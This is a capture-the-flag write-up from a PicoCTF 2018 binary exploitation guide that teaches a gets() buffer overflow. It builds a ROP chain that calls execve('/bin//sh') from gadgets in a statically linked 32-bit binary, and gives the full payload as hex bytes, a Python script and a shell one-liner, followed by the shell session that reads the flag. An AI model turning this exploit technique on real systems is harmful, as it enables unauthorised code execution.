PicoCTF 2018 - can-you-gets-me
Note: This article is part of our PicoCTF 2018 BinExp Guide.
Spot the Bug
For one last time, here’s the classic gets
vulnerability that we’ve covered in so many other buffer-overflow challenges (buffer-overflow-1, buffer-overflow-2, got-2-learn-libc, rop-chain, …)
void vuln() {
char buf[16];
printf("GIVE ME YOUR NAME!\n");
return gets(buf);
}
Strategy
This time around the C code is very sparse. We see the vuln
function, but not much else. However, the size of the binary is actually quite hefty (709KiB, when most of the challenges are less than 10KiB). What gives?
It appears that this binary has been compiled and statically linked against libc
. That means that instead of dynamically linking against whatever base version of libc is present on the system, a version of libc has been compiled directly into the binary itself.
How does this help us? Well, due to it’s hefty size, there should be a fair number of gadgets for us to ROP into. Note, this is a 32-bit linux binary, so we will essentially want to execute the same instructions we did in shellcode, but this time we’ll construct the individual components out of gadgets.
There are some different tools to analyze binaries for the gadgets they contain, I recommend ropper, but there are many other options, including a very simple one built-in to pwntools
.
Background Info
Using exactly the same technique as shellcode, we want to run the execve
system call. To do that, we need the following registers set to these values:
eax = 0x0b
ebx = &"/bin/sh"
ecx = &0
edx = &0
At a minimum, you will need gadgets to set eax
, ebx
, ecx
, and edx
. You will also need a writeable block of memory to store the command string, and a primitive to move content from registers into writeable memory.
NOTE: Here’s how you’d find these gadgets using
ropper
:$ ropper (ropper)> file gets [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] File loaded. (gets/ELF/x86)> search pop eax [INFO] Searching for gadgets: pop eax [INFO] File: gets [...] 0x080b84d6: pop eax; ret; (gets/ELF/x86)> search mov [%], eax [INFO] Searching for gadgets: mov [%], eax [INFO] File: gets [...] 0x08054b4b: mov dword ptr [edx], eax; ret; [...]
And here’s a list of gadgets that I’ve found, but you should figure out how to search binaries for your own gadgets:
0x08054b4b: mov dword ptr [edx], eax; ret;
0x0806f19a: pop edx; ret;
0x0806f1c0: pop edx; pop ecx; pop ebx; ret;
0x0806f7a0: int 0x80; ret;
0x080b84d6: pop eax; ret;
Next up, we need to store the null-terminated string "/bin/sh"
in memory somewhere, as well as a NULL
pointer (4 null bytes). If we shove the 4-byte NULL
immediately after the string "/bin/sh"
, then the first byte can serve double-duty: it’ll also be the string terminator. However, the string "/bin/sh"
(without the null terminator) is 7 chars long, which is annoying because we will be popping of the stack 4 bytes (1 dword) at a time. However, it turns out execve
will ignore multiple consecutive '/'
s in a row, so what we’ll use instead is an 8 byte string like "/bin//sh"
. Also, note that gets()
writes directly into the buffer, so null characters are not a problem (but newline characters are).
Next, we need an address of writeable memory. Since we don’t really care about the current state of the program, we’re just going to use the beginning of the .data
segment.
$ readelf -S gets | grep ' .data '
[24] .data PROGBITS 080ea060 0a1060 000f20 00 WA 0 0 32
Finally, how many bytes should go in the buffer before we overwrite the return address of vuln
?
vuln:
push ebp
mov ebp,esp
sub esp,0x18
; ...
sub esp,0xc
lea eax,[ebp-0x18]
push eax
call 804f290 <_IO_gets>
add esp,0x10
leave
ret
That’s right: 0x18
(24) bytes for the buffer, plus 4 bytes for the preserved ebp
register.
If you’re confident in your skills, try the challenge out at /problems/can-you-gets-me_1_e66172cf5b6d25fffee62caf02c24c3d
on the shell server now.
Exploitation
Let’s list the gadgets (and their arguments) that you need to execute:
- Pop
"/bin"
intoeax
- Pop
0x080ea060
intoedx
- Move
eax
into[edx]
- Pop
"//sh"
intoeax
- Pop
0x080ea064
intoedx
- Move
eax
into[edx]
- Pop
0x00000000
intoeax
- Pop
0x080ea068
intoedx
- Move
eax
into[edx]
- Pop
0x000000b
intoeax
- Pop
0x080ea060
intoebx
,0x080ea068
intoecx
, and0x080ea068
intoedx
- Int 0x80
Which means you could construct a buffer by hand like this:
55 55 55 55 55 55 55 55 55 55 55 55 55 55 <- padding
55 55 55 55 55 55 55 55 55 55 55 55 55 55 <- padding
d6 84 0b 08 <- 1. pop eax; ret; (gadget)
2f 62 69 6e <- 1. "/bin"
9a f1 06 08 <- 2. pop edx; ret; (gadget)
60 a0 0e 08 <- 2. 0x080ea060
4b 4b 05 08 <- 3. mov dword ptr [edx], eax; ret; (gadget)
d6 84 0b 08 <- 4. pop eax; ret; (gadget)
2f 2f 73 68 <- 4. "//sh"
9a f1 06 08 <- 5. pop edx; ret; (gadget)
64 a0 0e 08 <- 5. 0x080ea064
4b 4b 05 08 <- 6. mov dword ptr [edx], eax; ret; (gadget)
d6 84 0b 08 <- 7. pop eax; ret; (gadget)
00 00 00 00 <- 7. 0x00
9a f1 06 08 <- 8. pop edx; ret; (gadget)
68 a0 0e 08 <- 8. 0x080ea068
4b 4b 05 08 <- 9. mov dword ptr [edx], eax; ret; (gadget)
d6 84 0b 08 <- 10. pop eax; ret; (gadget)
0b 00 00 00 <- 10. 0x0b
c0 f1 06 08 <- 11. 0x0806f1c0: pop edx; pop ecx; pop ebx; ret; (gadget)
68 a0 0e 08 <- 11. edx = 0x080ea068
68 a0 0e 08 <- 11. ecx = 0x080ea068
60 a0 0e 08 <- 11. ebx = 0x080ea060
a0 f7 06 08 <- 12. int 80 (gadget)
Or, the same thing, but constructed in python:
#!/usr/bin/env python
# works with python2 or python3
import struct, os
p = lambda x : struct.pack('<I', x)
os.write(1, (b'U'*28 +
p(0x080b84d6) + b'/bin' + # pop eax gadget
p(0x0806f19a) + p(0x080ea060) + # pop edx gadget
p(0x08054b4b) + # mov dword ptr [edx], eax gadget
p(0x080b84d6) + b'//sh' + # pop eax gadget
p(0x0806f19a) + p(0x080ea064) + # pop edx gadget
p(0x08054b4b) + # mov dword ptr [edx], eax gadget
p(0x080b84d6) + p(0x00000000) + # pop eax gadget
p(0x0806f19a) + p(0x080ea068) + # pop edx gadget
p(0x08054b4b) + # mov dword ptr [edx], eax gadget
p(0x080b84d6) + p(0x0000000b) + # pop eax gadget
p(0x0806f1c0) + p(0x080ea068) + p(0x080ea068) + p(0x080ea060) + # pop edx,ecx,ebx gadget
p(0x0806f7a0) + b'\n' # int 0x80 gadget
))
Finally, you can verify that it all works as expected:
$ cd /problems/can-you-gets-me_1_e66172cf5b6d25fffee62caf02c24c3d
$ (python -c 'import struct, os; p = lambda x : struct.pack("<I", x); os.write(1, (b"U"*28 + p(0x080b84d6) + b"/bin" + p(0x0806f19a) + p(0x080ea060) + p(0x08054b4b) + p(0x080b84d6) + b"//sh" + p(0x0806f19a) + p(0x080ea064) + p(0x08054b4b) + p(0x080b84d6) + p(0x00000000) + p(0x0806f19a) + p(0x080ea068) + p(0x08054b4b) + p(0x080b84d6) + p(0x0000000b) + p(0x0806f1c0) + p(0x080ea068) + p(0x080ea068) + p(0x080ea060) + p(0x0806f7a0) + b"\n"))'; cat -) | ./gets
GIVE ME YOUR NAME!
ls
flag.txt gets gets.c
cat flag.txt
picoCTF{===REDACTED===}
Congrats: You’ve now mastered every single buffer overflow exploit, head back to the PicoCTF 2018 BinExp Guide to continue with the heap challenges!